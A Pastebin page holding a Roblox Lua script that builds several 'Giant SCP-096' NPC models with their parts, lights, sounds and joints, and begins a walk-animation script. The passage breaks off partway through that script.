Advertisement
BNutty07

711

Nov 8th, 2017
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 134.16 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Model0 = Instance.new("Model")
  20. Part1 = Instance.new("Part")
  21. Part2 = Instance.new("Part")
  22. Part3 = Instance.new("Part")
  23. BodyGyro4 = Instance.new("BodyGyro")
  24. PointLight5 = Instance.new("PointLight")
  25. PointLight6 = Instance.new("PointLight")
  26. PointLight7 = Instance.new("PointLight")
  27. PointLight8 = Instance.new("PointLight")
  28. PointLight9 = Instance.new("PointLight")
  29. Motor6D10 = Instance.new("Motor6D")
  30. Motor6D11 = Instance.new("Motor6D")
  31. Motor6D12 = Instance.new("Motor6D")
  32. Motor6D13 = Instance.new("Motor6D")
  33. Motor6D14 = Instance.new("Motor6D")
  34. Part15 = Instance.new("Part")
  35. Part16 = Instance.new("Part")
  36. Sound17 = Instance.new("Sound")
  37. Sound18 = Instance.new("Sound")
  38. Sound19 = Instance.new("Sound")
  39. Sound20 = Instance.new("Sound")
  40. SpecialMesh21 = Instance.new("SpecialMesh")
  41. SpecialMesh22 = Instance.new("SpecialMesh")
  42. Weld23 = Instance.new("Weld")
  43. Weld24 = Instance.new("Weld")
  44. Part25 = Instance.new("Part")
  45. Humanoid26 = Instance.new("Humanoid")
  46. CharacterMesh27 = Instance.new("CharacterMesh")
  47. Hat28 = Instance.new("Hat")
  48. Part29 = Instance.new("Part")
  49. SpecialMesh30 = Instance.new("SpecialMesh")
  50. Part31 = Instance.new("Part")
  51. Motor6D32 = Instance.new("Motor6D")
  52. Script33 = Instance.new("Script")
  53. Script34 = Instance.new("Script")
  54. Script35 = Instance.new("Script")
  55. StringValue36 = Instance.new("StringValue")
  56. Animation37 = Instance.new("Animation")
  57. StringValue38 = Instance.new("StringValue")
  58. Animation39 = Instance.new("Animation")
  59. StringValue40 = Instance.new("StringValue")
  60. Animation41 = Instance.new("Animation")
  61. NumberValue42 = Instance.new("NumberValue")
  62. Animation43 = Instance.new("Animation")
  63. NumberValue44 = Instance.new("NumberValue")
  64. StringValue45 = Instance.new("StringValue")
  65. Animation46 = Instance.new("Animation")
  66. StringValue47 = Instance.new("StringValue")
  67. Animation48 = Instance.new("Animation")
  68. StringValue49 = Instance.new("StringValue")
  69. Animation50 = Instance.new("Animation")
  70. StringValue51 = Instance.new("StringValue")
  71. Animation52 = Instance.new("Animation")
  72. Script53 = Instance.new("Script")
  73. BodyColors54 = Instance.new("BodyColors")
  74. CharacterMesh55 = Instance.new("CharacterMesh")
  75. CharacterMesh56 = Instance.new("CharacterMesh")
  76. CharacterMesh57 = Instance.new("CharacterMesh")
  77. CharacterMesh58 = Instance.new("CharacterMesh")
  78. Hat59 = Instance.new("Hat")
  79. Part60 = Instance.new("Part")
  80. SpecialMesh61 = Instance.new("SpecialMesh")
  81. Model62 = Instance.new("Model")
  82. Part63 = Instance.new("Part")
  83. Part64 = Instance.new("Part")
  84. Part65 = Instance.new("Part")
  85. BodyGyro66 = Instance.new("BodyGyro")
  86. PointLight67 = Instance.new("PointLight")
  87. PointLight68 = Instance.new("PointLight")
  88. PointLight69 = Instance.new("PointLight")
  89. PointLight70 = Instance.new("PointLight")
  90. PointLight71 = Instance.new("PointLight")
  91. Motor6D72 = Instance.new("Motor6D")
  92. Motor6D73 = Instance.new("Motor6D")
  93. Motor6D74 = Instance.new("Motor6D")
  94. Motor6D75 = Instance.new("Motor6D")
  95. Motor6D76 = Instance.new("Motor6D")
  96. Part77 = Instance.new("Part")
  97. Part78 = Instance.new("Part")
  98. SpecialMesh79 = Instance.new("SpecialMesh")
  99. Sound80 = Instance.new("Sound")
  100. Sound81 = Instance.new("Sound")
  101. Sound82 = Instance.new("Sound")
  102. Sound83 = Instance.new("Sound")
  103. SpecialMesh84 = Instance.new("SpecialMesh")
  104. Weld85 = Instance.new("Weld")
  105. Weld86 = Instance.new("Weld")
  106. Weld87 = Instance.new("Weld")
  107. Part88 = Instance.new("Part")
  108. Humanoid89 = Instance.new("Humanoid")
  109. Hat90 = Instance.new("Hat")
  110. Part91 = Instance.new("Part")
  111. SpecialMesh92 = Instance.new("SpecialMesh")
  112. Hat93 = Instance.new("Hat")
  113. Part94 = Instance.new("Part")
  114. SpecialMesh95 = Instance.new("SpecialMesh")
  115. Hat96 = Instance.new("Hat")
  116. Part97 = Instance.new("Part")
  117. SpecialMesh98 = Instance.new("SpecialMesh")
  118. Decal99 = Instance.new("Decal")
  119. Decal100 = Instance.new("Decal")
  120. Decal101 = Instance.new("Decal")
  121. Decal102 = Instance.new("Decal")
  122. Decal103 = Instance.new("Decal")
  123. Part104 = Instance.new("Part")
  124. Motor6D105 = Instance.new("Motor6D")
  125. Script106 = Instance.new("Script")
  126. Script107 = Instance.new("Script")
  127. Script108 = Instance.new("Script")
  128. StringValue109 = Instance.new("StringValue")
  129. Animation110 = Instance.new("Animation")
  130. StringValue111 = Instance.new("StringValue")
  131. Animation112 = Instance.new("Animation")
  132. StringValue113 = Instance.new("StringValue")
  133. Animation114 = Instance.new("Animation")
  134. NumberValue115 = Instance.new("NumberValue")
  135. Animation116 = Instance.new("Animation")
  136. NumberValue117 = Instance.new("NumberValue")
  137. StringValue118 = Instance.new("StringValue")
  138. Animation119 = Instance.new("Animation")
  139. StringValue120 = Instance.new("StringValue")
  140. Animation121 = Instance.new("Animation")
  141. StringValue122 = Instance.new("StringValue")
  142. Animation123 = Instance.new("Animation")
  143. StringValue124 = Instance.new("StringValue")
  144. Animation125 = Instance.new("Animation")
  145. Script126 = Instance.new("Script")
  146. BodyColors127 = Instance.new("BodyColors")
  147. CharacterMesh128 = Instance.new("CharacterMesh")
  148. CharacterMesh129 = Instance.new("CharacterMesh")
  149. CharacterMesh130 = Instance.new("CharacterMesh")
  150. CharacterMesh131 = Instance.new("CharacterMesh")
  151. CharacterMesh132 = Instance.new("CharacterMesh")
  152. Model133 = Instance.new("Model")
  153. Part134 = Instance.new("Part")
  154. Part135 = Instance.new("Part")
  155. Part136 = Instance.new("Part")
  156. BodyGyro137 = Instance.new("BodyGyro")
  157. PointLight138 = Instance.new("PointLight")
  158. PointLight139 = Instance.new("PointLight")
  159. PointLight140 = Instance.new("PointLight")
  160. PointLight141 = Instance.new("PointLight")
  161. PointLight142 = Instance.new("PointLight")
  162. Motor6D143 = Instance.new("Motor6D")
  163. Motor6D144 = Instance.new("Motor6D")
  164. Motor6D145 = Instance.new("Motor6D")
  165. Motor6D146 = Instance.new("Motor6D")
  166. Motor6D147 = Instance.new("Motor6D")
  167. Part148 = Instance.new("Part")
  168. Part149 = Instance.new("Part")
  169. Sound150 = Instance.new("Sound")
  170. Sound151 = Instance.new("Sound")
  171. Sound152 = Instance.new("Sound")
  172. Sound153 = Instance.new("Sound")
  173. SpecialMesh154 = Instance.new("SpecialMesh")
  174. SpecialMesh155 = Instance.new("SpecialMesh")
  175. Weld156 = Instance.new("Weld")
  176. Weld157 = Instance.new("Weld")
  177. Weld158 = Instance.new("Weld")
  178. Part159 = Instance.new("Part")
  179. Humanoid160 = Instance.new("Humanoid")
  180. Hat161 = Instance.new("Hat")
  181. Part162 = Instance.new("Part")
  182. SpecialMesh163 = Instance.new("SpecialMesh")
  183. Hat164 = Instance.new("Hat")
  184. Part165 = Instance.new("Part")
  185. SpecialMesh166 = Instance.new("SpecialMesh")
  186. Hat167 = Instance.new("Hat")
  187. Part168 = Instance.new("Part")
  188. SpecialMesh169 = Instance.new("SpecialMesh")
  189. Decal170 = Instance.new("Decal")
  190. Decal171 = Instance.new("Decal")
  191. Decal172 = Instance.new("Decal")
  192. Decal173 = Instance.new("Decal")
  193. Decal174 = Instance.new("Decal")
  194. Part175 = Instance.new("Part")
  195. Motor6D176 = Instance.new("Motor6D")
  196. Script177 = Instance.new("Script")
  197. Script178 = Instance.new("Script")
  198. Script179 = Instance.new("Script")
  199. StringValue180 = Instance.new("StringValue")
  200. Animation181 = Instance.new("Animation")
  201. StringValue182 = Instance.new("StringValue")
  202. Animation183 = Instance.new("Animation")
  203. StringValue184 = Instance.new("StringValue")
  204. Animation185 = Instance.new("Animation")
  205. NumberValue186 = Instance.new("NumberValue")
  206. Animation187 = Instance.new("Animation")
  207. NumberValue188 = Instance.new("NumberValue")
  208. StringValue189 = Instance.new("StringValue")
  209. Animation190 = Instance.new("Animation")
  210. StringValue191 = Instance.new("StringValue")
  211. Animation192 = Instance.new("Animation")
  212. StringValue193 = Instance.new("StringValue")
  213. Animation194 = Instance.new("Animation")
  214. StringValue195 = Instance.new("StringValue")
  215. Animation196 = Instance.new("Animation")
  216. Script197 = Instance.new("Script")
  217. BodyColors198 = Instance.new("BodyColors")
  218. CharacterMesh199 = Instance.new("CharacterMesh")
  219. CharacterMesh200 = Instance.new("CharacterMesh")
  220. CharacterMesh201 = Instance.new("CharacterMesh")
  221. CharacterMesh202 = Instance.new("CharacterMesh")
  222. CharacterMesh203 = Instance.new("CharacterMesh")
  223. Model0.Name = "Giant SCP-096"
  224. Model0.Parent = mas
  225. Model0.PrimaryPart = Part16
  226. Part1.Name = "Left Arm"
  227. Part1.Parent = Model0
  228. Part1.Material = Enum.Material.SmoothPlastic
  229. Part1.BrickColor = BrickColor.new("Institutional white")
  230. Part1.CanCollide = false
  231. Part1.Elasticity = 0
  232. Part1.FormFactor = Enum.FormFactor.Symmetric
  233. Part1.Friction = 2
  234. Part1.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
  235. Part1.CFrame = CFrame.new(33.9962082, 8.40719604, -91.0770721, 0.999993443, 2.23786084e-18, -4.37219505e-08, 1.63059246e-14, 0.99999994, 3.72994691e-07, 4.37222383e-08, -3.72994663e-07, 1)
  236. Part1.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  237. Part1.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  238. Part1.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  239. Part1.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  240. Part1.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  241. Part1.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  242. Part1.Color = Color3.new(0.972549, 0.972549, 0.972549)
  243. Part1.Position = Vector3.new(33.9962082, 8.40719604, -91.0770721)
  244. Part1.Color = Color3.new(0.972549, 0.972549, 0.972549)
  245. Part2.Name = "Left Leg"
  246. Part2.Parent = Model0
  247. Part2.Material = Enum.Material.SmoothPlastic
  248. Part2.BrickColor = BrickColor.new("Institutional white")
  249. Part2.CanCollide = false
  250. Part2.Elasticity = 0
  251. Part2.FormFactor = Enum.FormFactor.Symmetric
  252. Part2.Friction = 2
  253. Part2.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
  254. Part2.CFrame = CFrame.new(35.3648071, 3.91034222, -91.0770721, 0.999993443, 2.23786084e-18, 4.37002505e-08, -1.63023061e-14, 0.99999994, 3.72994691e-07, -4.37005383e-08, -3.72994663e-07, 1)
  255. Part2.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  256. Part2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  257. Part2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  258. Part2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  259. Part2.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  260. Part2.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  261. Part2.Color = Color3.new(0.972549, 0.972549, 0.972549)
  262. Part2.Position = Vector3.new(35.3648071, 3.91034222, -91.0770721)
  263. Part2.Color = Color3.new(0.972549, 0.972549, 0.972549)
  264. Part3.Name = "Torso"
  265. Part3.Parent = Model0
  266. Part3.Material = Enum.Material.SmoothPlastic
  267. Part3.BrickColor = BrickColor.new("Institutional white")
  268. Part3.Elasticity = 0
  269. Part3.FormFactor = Enum.FormFactor.Symmetric
  270. Part3.Friction = 2
  271. Part3.Size = Vector3.new(3.91030979, 3.91030765, 1.9551549)
  272. Part3.CFrame = CFrame.new(36.3423767, 9.77580357, -91.0770721, 0.999993443, 2.23786105e-18, -1.08500934e-11, 1.8092754e-18, 1, 3.72994691e-07, 1.08500448e-11, -3.72994691e-07, 1)
  273. Part3.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  274. Part3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  275. Part3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  276. Part3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  277. Part3.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  278. Part3.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  279. Part3.Color = Color3.new(0.972549, 0.972549, 0.972549)
  280. Part3.Position = Vector3.new(36.3423767, 9.77580357, -91.0770721)
  281. Part3.Color = Color3.new(0.972549, 0.972549, 0.972549)
  282. BodyGyro4.Parent = Part3
  283. BodyGyro4.P = 10000
  284. PointLight5.Parent = Part3
  285. PointLight5.Color = Color3.new(1, 0, 0)
  286. PointLight5.Brightness = 5.0000000692421e+23
  287. PointLight5.Color = Color3.new(1, 0, 0)
  288. PointLight6.Parent = Part3
  289. PointLight6.Color = Color3.new(1, 0, 0)
  290. PointLight6.Brightness = 5.0000000692421e+23
  291. PointLight6.Color = Color3.new(1, 0, 0)
  292. PointLight7.Parent = Part3
  293. PointLight7.Color = Color3.new(1, 0, 0)
  294. PointLight7.Brightness = 5.0000000692421e+23
  295. PointLight7.Color = Color3.new(1, 0, 0)
  296. PointLight8.Parent = Part3
  297. PointLight8.Color = Color3.new(1, 0, 0)
  298. PointLight8.Brightness = 5.0000000692421e+23
  299. PointLight8.Color = Color3.new(1, 0, 0)
  300. PointLight9.Parent = Part3
  301. PointLight9.Color = Color3.new(1, 0, 0)
  302. PointLight9.Brightness = 5.0000000692421e+23
  303. PointLight9.Color = Color3.new(1, 0, 0)
  304. Motor6D10.Name = "Left Shoulder"
  305. Motor6D10.Parent = Part3
  306. Motor6D10.C0 = CFrame.new(3.32376313, 2.34618473, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  307. Motor6D10.C1 = CFrame.new(0.977577448, 0.977576911, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  308. Motor6D10.Part0 = Part1
  309. Motor6D10.Part1 = Part3
  310. Motor6D11.Name = "Right Shoulder"
  311. Motor6D11.Parent = Part3
  312. Motor6D11.C0 = CFrame.new(-3.32376313, 2.34618473, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  313. Motor6D11.C1 = CFrame.new(-0.977577448, 0.977576911, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  314. Motor6D11.Part0 = Part25
  315. Motor6D11.Part1 = Part3
  316. Motor6D12.Name = "Left Hip"
  317. Motor6D12.Parent = Part3
  318. Motor6D12.C0 = CFrame.new(-0.977577448, -3.91030765, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  319. Motor6D12.C1 = CFrame.new(0, 1.95515382, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  320. Motor6D12.Part0 = Part3
  321. Motor6D12.Part1 = Part2
  322. Motor6D13.Name = "Right Hip"
  323. Motor6D13.Parent = Part3
  324. Motor6D13.C0 = CFrame.new(0.977577448, -3.91030765, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  325. Motor6D13.C1 = CFrame.new(0, 1.95515382, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  326. Motor6D13.Part0 = Part3
  327. Motor6D13.Part1 = Part15
  328. Motor6D14.Name = "Neck"
  329. Motor6D14.Parent = Part3
  330. Motor6D14.C0 = CFrame.new(0, 1.95515382, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  331. Motor6D14.C1 = CFrame.new(0, -0.977576911, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  332. Motor6D14.Part0 = Part3
  333. Motor6D14.Part1 = Part16
  334. Part15.Name = "Right Leg"
  335. Part15.Parent = Model0
  336. Part15.Material = Enum.Material.SmoothPlastic
  337. Part15.BrickColor = BrickColor.new("Institutional white")
  338. Part15.CanCollide = false
  339. Part15.Elasticity = 0
  340. Part15.FormFactor = Enum.FormFactor.Symmetric
  341. Part15.Friction = 2
  342. Part15.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
  343. Part15.CFrame = CFrame.new(37.3199463, 3.91034222, -91.0770721, 0.999993443, 2.23786084e-18, -4.37219505e-08, 1.63059246e-14, 0.99999994, 3.72994691e-07, 4.37222383e-08, -3.72994663e-07, 1)
  344. Part15.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  345. Part15.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  346. Part15.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  347. Part15.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  348. Part15.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  349. Part15.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  350. Part15.Color = Color3.new(0.972549, 0.972549, 0.972549)
  351. Part15.Position = Vector3.new(37.3199463, 3.91034222, -91.0770721)
  352. Part15.Color = Color3.new(0.972549, 0.972549, 0.972549)
  353. Part16.Name = "Head"
  354. Part16.Parent = Model0
  355. Part16.Material = Enum.Material.SmoothPlastic
  356. Part16.BrickColor = BrickColor.new("Institutional white")
  357. Part16.Elasticity = 0
  358. Part16.FormFactor = Enum.FormFactor.Symmetric
  359. Part16.Friction = 2
  360. Part16.Size = Vector3.new(3.91030979, 1.95515382, 1.9551549)
  361. Part16.CFrame = CFrame.new(36.3423767, 12.7085342, -91.0770721, 0.999993324, 2.23786105e-18, -1.08500934e-11, 1.8092752e-18, 1, 3.72994691e-07, 1.0850044e-11, -3.72994691e-07, 1)
  362. Part16.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  363. Part16.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  364. Part16.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  365. Part16.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  366. Part16.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  367. Part16.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  368. Part16.Color = Color3.new(0.972549, 0.972549, 0.972549)
  369. Part16.Position = Vector3.new(36.3423767, 12.7085342, -91.0770721)
  370. Part16.Color = Color3.new(0.972549, 0.972549, 0.972549)
  371. Sound17.Name = "Damage5"
  372. Sound17.Parent = Part16
  373. Sound17.Pitch = 0.69999998807907
  374. Sound17.SoundId = "rbxassetid://256509968"
  375. Sound17.Volume = 1
  376. Sound18.Name = "Idle"
  377. Sound18.Parent = Part16
  378. Sound18.Pitch = 0.69999998807907
  379. Sound18.SoundId = "rbxassetid://893111990"
  380. Sound18.Volume = 1
  381. Sound18.Looped = true
  382. Sound19.Name = "Scream"
  383. Sound19.Parent = Part16
  384. Sound19.Pitch = 0.69999998807907
  385. Sound19.SoundId = "rbxassetid://254933782"
  386. Sound19.Volume = 1
  387. Sound19.Looped = true
  388. Sound20.Name = "Panic"
  389. Sound20.Parent = Part16
  390. Sound20.Pitch = 0.69999998807907
  391. Sound20.SoundId = "rbxassetid://325080827"
  392. Sound20.Volume = 1
  393. SpecialMesh21.Parent = Part16
  394. SpecialMesh22.Name = "HeadMesh"
  395. SpecialMesh22.Parent = Part16
  396. SpecialMesh22.MeshId = "rbxassetid://36869983"
  397. SpecialMesh22.Scale = Vector3.new(2.5656848, 3.20710516, 2.5656848)
  398. SpecialMesh22.TextureId = "rbxassetid://367967552"
  399. SpecialMesh22.MeshType = Enum.MeshType.FileMesh
  400. SpecialMesh22.Scale = Vector3.new(2.5656848, 3.20710516, 2.5656848)
  401. Weld23.Name = "HeadWeld"
  402. Weld23.Parent = Part16
  403. Weld23.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  404. Weld23.C1 = CFrame.new(0.200000003, -0.449999988, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
  405. Weld23.Part0 = Part16
  406. Weld23.Part1 = Part29
  407. Weld24.Name = "HeadWeld"
  408. Weld24.Parent = Part16
  409. Weld24.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  410. Weld24.C1 = CFrame.new(-0.200000003, -0.419999987, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
  411. Weld24.Part0 = Part16
  412. Weld24.Part1 = Part60
  413. Part25.Name = "Right Arm"
  414. Part25.Parent = Model0
  415. Part25.Material = Enum.Material.SmoothPlastic
  416. Part25.BrickColor = BrickColor.new("Institutional white")
  417. Part25.CanCollide = false
  418. Part25.Elasticity = 0
  419. Part25.FormFactor = Enum.FormFactor.Symmetric
  420. Part25.Friction = 2
  421. Part25.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
  422. Part25.CFrame = CFrame.new(38.6885452, 8.40719604, -91.0770721, 0.999993443, 2.23786084e-18, 4.37002505e-08, -1.63023061e-14, 0.99999994, 3.72994691e-07, -4.37005383e-08, -3.72994663e-07, 1)
  423. Part25.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  424. Part25.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  425. Part25.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  426. Part25.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  427. Part25.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  428. Part25.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  429. Part25.Color = Color3.new(0.972549, 0.972549, 0.972549)
  430. Part25.Position = Vector3.new(38.6885452, 8.40719604, -91.0770721)
  431. Part25.Color = Color3.new(0.972549, 0.972549, 0.972549)
  432. Humanoid26.Name = "SCP"
  433. Humanoid26.Parent = Model0
  434. Humanoid26.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
  435. Humanoid26.HealthDisplayDistance = 0
  436. Humanoid26.NameDisplayDistance = 0
  437. Humanoid26.NameOcclusion = Enum.NameOcclusion.EnemyOcclusion
  438. Humanoid26.RightLeg = Part15
  439. Humanoid26.LeftLeg = Part2
  440. Humanoid26.Torso = Part31
  441. Humanoid26.Health = inf
  442. Humanoid26.MaxHealth = inf
  443. Humanoid26.WalkSpeed = 10
  444. CharacterMesh27.Name = "SCP-096 Torso"
  445. CharacterMesh27.Parent = Model0
  446. CharacterMesh27.MeshId = 27493004
  447. CharacterMesh27.BaseTextureId = 255693950
  448. CharacterMesh27.BodyPart = Enum.BodyPart.Torso
  449. CharacterMesh27.OverlayTextureId = 255693950
  450. Hat28.Name = "Eye"
  451. Hat28.Parent = Model0
  452. Hat28.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
  453. Hat28.AttachmentPos = Vector3.new(0.200000003, -0.449999988, 0.300000012)
  454. Hat28.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
  455. Part29.Name = "Handle"
  456. Part29.Parent = Hat28
  457. Part29.Material = Enum.Material.Neon
  458. Part29.BrickColor = BrickColor.new("Really red")
  459. Part29.Rotation = Vector3.new(-89.9399948, 0, 0)
  460. Part29.CanCollide = false
  461. Part29.Elasticity = 0
  462. Part29.FormFactor = Enum.FormFactor.Custom
  463. Part29.Friction = 2
  464. Part29.Size = Vector3.new(1.92220402, 1.92126131, 1.92126632)
  465. Part29.CFrame = CFrame.new(36.1423798, 12.9089851, -91.5273743, 0.999993324, 1.08500882e-11, -1.08587117e-14, 1.8092752e-18, 0.00100062753, 0.999999523, 1.0850044e-11, -0.999999523, 0.00100062753)
  466. Part29.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  467. Part29.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  468. Part29.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  469. Part29.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  470. Part29.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  471. Part29.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  472. Part29.Color = Color3.new(1, 0, 0)
  473. Part29.Position = Vector3.new(36.1423798, 12.9089851, -91.5273743)
  474. Part29.Orientation = Vector3.new(-89.9399948, 0, 0)
  475. Part29.Color = Color3.new(1, 0, 0)
  476. SpecialMesh30.Parent = Part29
  477. SpecialMesh30.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
  478. SpecialMesh30.MeshType = Enum.MeshType.Sphere
  479. SpecialMesh30.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
  480. Part31.Name = "HumanoidRootPart"
  481. Part31.Parent = Model0
  482. Part31.Material = Enum.Material.SmoothPlastic
  483. Part31.BrickColor = BrickColor.new("Really red")
  484. Part31.Transparency = 1
  485. Part31.CanCollide = false
  486. Part31.Elasticity = 0
  487. Part31.FormFactor = Enum.FormFactor.Symmetric
  488. Part31.Friction = 2
  489. Part31.Size = Vector3.new(3.91030979, 3.91030765, 1.9551549)
  490. Part31.CFrame = CFrame.new(36.3423767, 9.77580357, -91.0770721, 0.999993563, 2.23786105e-18, -1.08500934e-11, 1.80927561e-18, 1, 3.72994691e-07, 1.08500457e-11, -3.72994691e-07, 1)
  491. Part31.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  492. Part31.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  493. Part31.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  494. Part31.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  495. Part31.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  496. Part31.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  497. Part31.Color = Color3.new(1, 0, 0)
  498. Part31.Position = Vector3.new(36.3423767, 9.77580357, -91.0770721)
  499. Part31.Color = Color3.new(1, 0, 0)
  500. Motor6D32.Name = "RootJoint"
  501. Motor6D32.Parent = Part31
  502. Motor6D32.C0 = CFrame.new(0, 0, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  503. Motor6D32.C1 = CFrame.new(0, 0, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  504. Motor6D32.Part0 = Part31
  505. Motor6D32.Part1 = Part3
  506. Script33.Name = "MainAnimation"
  507. Script33.Parent = Model0
  508. table.insert(cors,sandbox(Script33,function()
  509. --[[ By: Brutez. ]]--
  510. local FreeSCP096AnimationScript=script;
  511. local FreeSCP096=FreeSCP096AnimationScript.Parent
  512. local FreeSCP096Humanoid=nil;
  513. local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso")
  514. local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder")
  515. local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder")
  516. local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip")
  517. local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip")
  518. local Neck=FreeSCP096Torso:FindFirstChild("Neck")
  519. local pose="Standing";
  520. for _,Child in pairs(FreeSCP096:GetChildren())do
  521. if Child.ClassName=="Humanoid"then
  522. FreeSCP096Humanoid=Child;
  523. end
  524. end
  525. function onRunning(speed)
  526. if speed>0.001 then
  527. pose = "Running"
  528. else
  529. pose = "Standing"
  530. end
  531. end
  532. function onDied()
  533. pose = "Dead"
  534. end
  535. function onJumping()
  536. pose = "Jumping"
  537. end
  538. function onClimbing()
  539. pose = "Climbing"
  540. end
  541. function onGettingUp()
  542. pose = "GettingUp"
  543. end
  544. function onFreeFall()
  545. pose = "FreeFall"
  546. end
  547. function onFallingDown()
  548. pose = "FallingDown"
  549. end
  550. function onSeated()
  551. pose = "Seated"
  552. end
  553. function moveJump()
  554. RightShoulder.MaxVelocity = 0.5
  555. LeftShoulder.MaxVelocity = 0.5
  556. RightShoulder.DesiredAngle = 3.14
  557. LeftShoulder.DesiredAngle = -3.14
  558. RightHip.DesiredAngle = 0
  559. LeftHip.DesiredAngle = 0
  560. end
  561. function moveFreeFall()
  562. RightShoulder.MaxVelocity = 1
  563. LeftShoulder.MaxVelocity = 1
  564. RightShoulder.DesiredAngle = 4
  565. LeftShoulder.DesiredAngle = -4
  566. RightHip.DesiredAngle = 1
  567. LeftHip.DesiredAngle = 1
  568. end
  569. function moveSit()
  570. RightShoulder.MaxVelocity = 0.15
  571. LeftShoulder.MaxVelocity = 0.15
  572. RightShoulder.DesiredAngle = 3.14 /2
  573. LeftShoulder.DesiredAngle = -3.14 /2
  574. RightHip.DesiredAngle = 1/2
  575. LeftHip.DesiredAngle = -1/2
  576. end
  577. function move(time)
  578. local amplitude
  579. local frequency
  580. if (pose == "Jumping") then
  581. moveJump()
  582. return
  583. end
  584. if (pose == "FreeFall") then
  585. moveFreeFall()
  586. return
  587. end
  588. if (pose == "Seated") then
  589. moveSit()
  590. return
  591. end
  592. local climbFudge = 0
  593. if (pose == "Running") then
  594. RightShoulder.MaxVelocity = 0.2
  595. LeftShoulder.MaxVelocity = 0.2
  596. RightHip.MaxVelocity = 0.2
  597. LeftHip.MaxVelocity = 0.2
  598. if FreeSCP096Humanoid.WalkSpeed~=35 then
  599. amplitude = 0.4
